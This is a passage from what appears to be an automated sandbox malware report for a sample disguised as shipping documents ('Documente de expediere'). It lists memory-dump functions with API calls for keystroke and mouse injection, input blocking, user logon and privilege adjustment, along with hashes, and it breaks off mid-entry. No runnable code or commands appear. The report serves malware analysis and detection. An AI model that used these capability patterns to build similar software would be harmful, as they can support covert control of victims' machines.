                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ErrorFormatLastMessage
                                                • String ID:
                                                • API String ID: 3479602957-0
                                                • Opcode ID: a12d343cd868d5e737e6db8b1414c3c546d630728d43bf58be03c4fa59a9f628
                                                • Instruction ID: 122f4d6f64014988d82077e40eabb8019bc7ee7090f55db26b9a78f73cee1b3e
                                                • Opcode Fuzzy Hash: a12d343cd868d5e737e6db8b1414c3c546d630728d43bf58be03c4fa59a9f628
                                                • Instruction Fuzzy Hash: B7F08C71120329ABDB20EBA4DC49FEA776DFF093A1F008165F919D61C1D7309A40CBB0
                                                Function 00D4411C Relevance: 3.0, APIs: 2, Instructions: 29keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • SendInput.USER32(00000001,?,0000001C,?,?,00000002), ref: 00D44153
                                                • keybd_event.USER32(?,75C0C0D0,?,00000000), ref: 00D44166
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: InputSendkeybd_event
                                                • String ID:
                                                • API String ID: 3536248340-0
                                                • Opcode ID: 59070c60daa379b4bb63a14adc5d0fd96358c0c4f571d1581b9476e767ee57e7
                                                • Instruction ID: ac59f8cd2ad4ad58410d5aed4979d9660e54e92644930559e1556b274bc4549b
                                                • Opcode Fuzzy Hash: 59070c60daa379b4bb63a14adc5d0fd96358c0c4f571d1581b9476e767ee57e7
                                                • Instruction Fuzzy Hash: 18F0677080038DAFDB058FA0C805BBE7BB0EF00305F04805AF966E62D2D779C6529FA0
                                                Function 00D3AB84 Relevance: 3.0, APIs: 2, Instructions: 22COMMON
                                                Download Yara Rule
                                                APIs
                                                • AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,00D3ACC0), ref: 00D3AB99
                                                • CloseHandle.KERNEL32(?,?,00D3ACC0), ref: 00D3ABAB
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: AdjustCloseHandlePrivilegesToken
                                                • String ID:
                                                • API String ID: 81990902-0
                                                • Opcode ID: 4226124b127c28f4d04ee31106222a19280be8770357b1aaa4404384c98e57c4
                                                • Instruction ID: eb21ded89eb4bc7b16600d55349db862fe566b5c30d0bda92e2424a38c6d6bd4
                                                • Opcode Fuzzy Hash: 4226124b127c28f4d04ee31106222a19280be8770357b1aaa4404384c98e57c4
                                                • Instruction Fuzzy Hash: CFE0BF71010610AFE7252F54FC05DB6B7AAEB04320B108429B499814B0DB629C90AB70
                                                Function 00D281AC Relevance: 3.0, APIs: 2, Instructions: 8COMMONLIBRARYCODE
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(00000000,0000000E,00D26DB3,-0000031A,?,?,00000001), ref: 00D281B1
                                                • UnhandledExceptionFilter.KERNEL32(?,?,?,00000001), ref: 00D281BA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: a952e032f5fa0d0b2fb5a5b3d3e2a5a4e26966b6a9601cdf103ff8b499bf8591
                                                • Instruction ID: 59eb75e348ddcf7e4d04643735d20831f12dbf13fbb7db30d44a471eef34c329
                                                • Opcode Fuzzy Hash: a952e032f5fa0d0b2fb5a5b3d3e2a5a4e26966b6a9601cdf103ff8b499bf8591
                                                • Instruction Fuzzy Hash: A9B09271054708ABDB002BE2EC09B587F6AEB08652F104020F60D842E18B7254108BA2
                                                Function 00D077B0 Relevance: 2.6, APIs: 1, Instructions: 1076COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: _memmove
                                                • String ID:
                                                • API String ID: 4104443479-0
                                                • Opcode ID: cc30df48cd91e9708aae4d90b379b9e35f29af6a962cfc5bb698f44aee2eda2c
                                                • Instruction ID: 1871a7e6a7123b12db98ad8e8db58b96b4a4738fc222b3e7dce71fe145dca6db
                                                • Opcode Fuzzy Hash: cc30df48cd91e9708aae4d90b379b9e35f29af6a962cfc5bb698f44aee2eda2c
                                                • Instruction Fuzzy Hash: 73A22B75E04219CFDB24CF58C4807ADBBB1FF48314F2581A9E899AB391D774AE81DB60
                                                Function 00D13B70 Relevance: 2.2, Strings: 1, Instructions: 903COMMON
                                                Download Yara Rule
                                                Strings
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Exception@8Throwstd::exception::exception
                                                • String ID: @
                                                • API String ID: 3728558374-2766056989
                                                • Opcode ID: 10e00a4766a7c0a08d418f3cf963c4a3183dbce9668dbbd6dc8e58c30f9693f0
                                                • Instruction ID: b3956824371db7f75ce1290732746c3d5fcc59d278ac9af5da0db3034222d2f4
                                                • Opcode Fuzzy Hash: 10e00a4766a7c0a08d418f3cf963c4a3183dbce9668dbbd6dc8e58c30f9693f0
                                                • Instruction Fuzzy Hash: 2C728E74A04205AFCF14DF94D481AEEB7B6EF48300F18805AF959AB251DB35EE85CBB1
                                                Function 00D2D1B9 Relevance: 2.1, APIs: 1, Instructions: 645COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 41ff7c495b9c3d03054ae269816b3680b582e0bbc2439ad2324409f8faa169c2
                                                • Instruction ID: 251da10751198ea14bc89921673f3ca4c164474776dff27bc669d09a41eae8ab
                                                • Opcode Fuzzy Hash: 41ff7c495b9c3d03054ae269816b3680b582e0bbc2439ad2324409f8faa169c2
                                                • Instruction Fuzzy Hash: 59320632D29F114DD7239634D822335A299AFB73D8F15D737F819B5AAAEB29C4C34120
                                                Function 00D096C0 Relevance: 2.1, APIs: 1, Instructions: 573COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: __itow__swprintf
                                                • String ID:
                                                • API String ID: 674341424-0
                                                • Opcode ID: f7ad486de65731a41bc47c24bfed1f2e4738c1fa49625e7f95ac0283152820ea
                                                • Instruction ID: 62bb71773064c209827c4dbb64ed938361f1b73dab810bac2090009fcb51bf15
                                                • Opcode Fuzzy Hash: f7ad486de65731a41bc47c24bfed1f2e4738c1fa49625e7f95ac0283152820ea
                                                • Instruction Fuzzy Hash: E62279716083019FD724DF14C8A1BAFB7E5EF84310F14891DF99A97292EB71E944CBA2
                                                Function 00D3038E Relevance: 1.8, APIs: 1, Instructions: 294COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: b958dac802aeb70bb2b58533b3c33f64562de86729baf5a22fe7d887b2eb2ebf
                                                • Instruction ID: c17b5d03d89c1b461e2c0586041b4d48ab72c2b3941120dff154b23e99017839
                                                • Opcode Fuzzy Hash: b958dac802aeb70bb2b58533b3c33f64562de86729baf5a22fe7d887b2eb2ebf
                                                • Instruction Fuzzy Hash: B0B10520D2AF414DD72396399831336B75C6FBB2D5F91D727FC1AB4E26EB2185934280
                                                Function 00D4B6CC Relevance: 1.6, APIs: 1, Instructions: 71COMMON
                                                Download Yara Rule
                                                APIs
                                                • __time64.LIBCMT ref: 00D4B6DF
                                                  • Part of subcall function 00D2344A: GetSystemTimeAsFileTime.KERNEL32(00000000,?,?,?,00D4BDC3,00000000,?,?,?,?,00D4BF70,00000000,?), ref: 00D23453
                                                  • Part of subcall function 00D2344A: __aulldiv.LIBCMT ref: 00D23473
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Time$FileSystem__aulldiv__time64
                                                • String ID:
                                                • API String ID: 2893107130-0
                                                • Opcode ID: 849cb5f5d89fea59da6a8e539ab183868fd9be0d29867376c3c083cab1ebe7f7
                                                • Instruction ID: 986631b7421f039832b86bb15493eb7a5f15e69e211b407fc379583e6fa28f28
                                                • Opcode Fuzzy Hash: 849cb5f5d89fea59da6a8e539ab183868fd9be0d29867376c3c083cab1ebe7f7
                                                • Instruction Fuzzy Hash: AA217572634611CBC719CF38C481A92B7E5EB95320B248E6DE4E5CF2C0CB74B905DB64
                                                Function 00D56AAF Relevance: 1.5, APIs: 1, Instructions: 25keyboardCOMMON
                                                Download Yara Rule
                                                APIs
                                                • BlockInput.USER32(00000001), ref: 00D56ACA
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BlockInput
                                                • String ID:
                                                • API String ID: 3456056419-0
                                                • Opcode ID: a7a408f55c22ec5f7abed6a54d1804dd3c82874244d8f577fcb0e60957724ff1
                                                • Instruction ID: 92256c6bba1a2e92a0047e0e76634bad38f9dca3cecc809440ab4197b4f82a71
                                                • Opcode Fuzzy Hash: a7a408f55c22ec5f7abed6a54d1804dd3c82874244d8f577fcb0e60957724ff1
                                                • Instruction Fuzzy Hash: 68E012352102046FD740EBA9D40599AB7EDEF64751B048416FD45D7291DAB0E8448BB0
                                                Function 00D474E7 Relevance: 1.5, APIs: 1, Instructions: 24COMMON
                                                Download Yara Rule
                                                APIs
                                                • mouse_event.USER32(00000004,00000000,00000000,00000000,00000000), ref: 00D4750A
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: mouse_event
                                                • String ID:
                                                • API String ID: 2434400541-0
                                                • Opcode ID: b387d3d6fa586ba7b1098c007a55e1164e6d4758f7d7873fd4079a35c2fecdd9
                                                • Instruction ID: 9a3e68c903702506b953a8350f6c6b952fb1b0fefdb53403454955e37f31d78e
                                                • Opcode Fuzzy Hash: b387d3d6fa586ba7b1098c007a55e1164e6d4758f7d7873fd4079a35c2fecdd9
                                                • Instruction Fuzzy Hash: 76D092A426C6857BEC290724AD1BFB71A09F301791FE8458AB64BDD5C4AAE4AD05A031
                                                Function 00D3B106 Relevance: 1.5, APIs: 1, Instructions: 18COMMON
                                                Download Yara Rule
                                                APIs
                                                • LogonUserW.ADVAPI32(?,00000001,?,?,00000000,00D3AD3E), ref: 00D3B124
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: LogonUser
                                                • String ID:
                                                • API String ID: 1244722697-0
                                                • Opcode ID: d056522a23c0220b9ca1ee2869deea044b5efc60d5b368ab5b636615e4cfd25c
                                                • Instruction ID: b20999a3dbd5c84d8a37daa26555caefcd2ed563b89b0dfb04482fe398bf528b
                                                • Opcode Fuzzy Hash: d056522a23c0220b9ca1ee2869deea044b5efc60d5b368ab5b636615e4cfd25c
                                                • Instruction Fuzzy Hash: FDD05E320A460EAEDF024FA4EC02EAE3F6AEB04700F408110FA11C50A0C671D531AB60
                                                Function 00D7B340 Relevance: 1.5, APIs: 1, Instructions: 7COMMON
                                                Download Yara Rule
                                                APIs
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: NameUser
                                                • String ID:
                                                • API String ID: 2645101109-0
                                                • Opcode ID: c2f3dd910aef32d53d9d23cc3096ed9699713e5a4ca39d7c3cc9f1422d8e930c
                                                • Instruction ID: 783b997506a92d4b3720b8b777a338f0bd25ef781221891a1b9075306fb26297
                                                • Opcode Fuzzy Hash: c2f3dd910aef32d53d9d23cc3096ed9699713e5a4ca39d7c3cc9f1422d8e930c
                                                • Instruction Fuzzy Hash: 9FC04CB1400109DFCB51DBC4C9449EEB7BCAB44301F1040929145F1150D7709B459B77
                                                Function 00D28189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                Download Yara Rule
                                                APIs
                                                • SetUnhandledExceptionFilter.KERNEL32(?), ref: 00D2818F
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: ExceptionFilterUnhandled
                                                • String ID:
                                                • API String ID: 3192549508-0
                                                • Opcode ID: 4a198adebf554c729c80ba903da445f4966259056b46db364cca79b6061ff929
                                                • Instruction ID: b43a6976be60fe4f2cf91fcf7a0ca06893e5da9fccee23980d56beac444d5e14
                                                • Opcode Fuzzy Hash: 4a198adebf554c729c80ba903da445f4966259056b46db364cca79b6061ff929
                                                • Instruction Fuzzy Hash: 40A0113000020CAB8F002B82EC088883F2EEA002A0B200020F80C802A08B22A8208AA2
                                                Function 00D13200 Relevance: 1.0, Instructions: 986COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: BuffCharUpper
                                                • String ID:
                                                • API String ID: 3964851224-0
                                                • Opcode ID: ae57c5180ae048298955b62ba8d6c11dfafd237e8c82a3c46379bb17800fba55
                                                • Instruction ID: b6f2a607b4bf7880dfc88fa67cdc7de84b4fcac09930182d036e7184fc215448
                                                • Opcode Fuzzy Hash: ae57c5180ae048298955b62ba8d6c11dfafd237e8c82a3c46379bb17800fba55
                                                • Instruction Fuzzy Hash: 71926C70608341AFD714DF18D494BAAB7E1FF84304F18885DE99A8B392DB71ED85CB62
                                                Function 00D0E3B0 Relevance: .5, Instructions: 540COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: d411fde676c80c32aebf5fc6699d40ae9047ba7bbc3771b5149d6512c3c3c8bf
                                                • Instruction ID: efed1d788ec8b7517b26535b765a7991a362a56960113f974bfb65113db0b6fc
                                                • Opcode Fuzzy Hash: d411fde676c80c32aebf5fc6699d40ae9047ba7bbc3771b5149d6512c3c3c8bf
                                                • Instruction Fuzzy Hash: 3122AE70D042059FDB24DF58D480BAAB7B1FF54304F18C86AE98A9B391E735E981CBB1
                                                Function 00D093F0 Relevance: .5, Instructions: 531COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID:
                                                • String ID:
                                                • API String ID:
                                                • Opcode ID: 64de68385f65cf3dfc12d239f881c6ff7382115fdbe57fe85fb2c545826d0c23
                                                • Instruction ID: d005be5ed9717aa7a8757606582651d85522390f6b2da0f831bc45d7ebde0a07
                                                • Opcode Fuzzy Hash: 64de68385f65cf3dfc12d239f881c6ff7382115fdbe57fe85fb2c545826d0c23
                                                • Instruction Fuzzy Hash: F3126E70A00209DBDF14DFA5D995AAEF7F5FF48300F148529E84AE7291EB36A910CB74
                                                Function 00D0AF50 Relevance: .5, Instructions: 514COMMON
                                                Download Yara Rule
                                                Memory Dump Source
                                                • Source File: 00000000.00000002.1667001761.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true
                                                • Associated: 00000000.00000002.1666984631.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000D8D000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667221771.0000000000DAE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667464232.0000000000DBA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                • Associated: 00000000.00000002.1667477374.0000000000DC4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                Joe Sandbox IDA Plugin
                                                • Snapshot File: hcaresult_0_2_d00000_AWB_5771388044 Documente de expediere.jbxd
                                                Similarity
                                                • API ID: Exception@8Throwstd::exception::exception
                                                • String ID:
                                                • API String ID: 3728558374-0
                                                • Opcode ID: 43e1ca309deaccf77d2e429831ba180c6ee70408c4dabec093103015d07b16f6
                                                • Instruction ID: 43915ef71f2fffc4ffc2b6599dd0becd3ded20539f147429b29d4411ba0f6a44
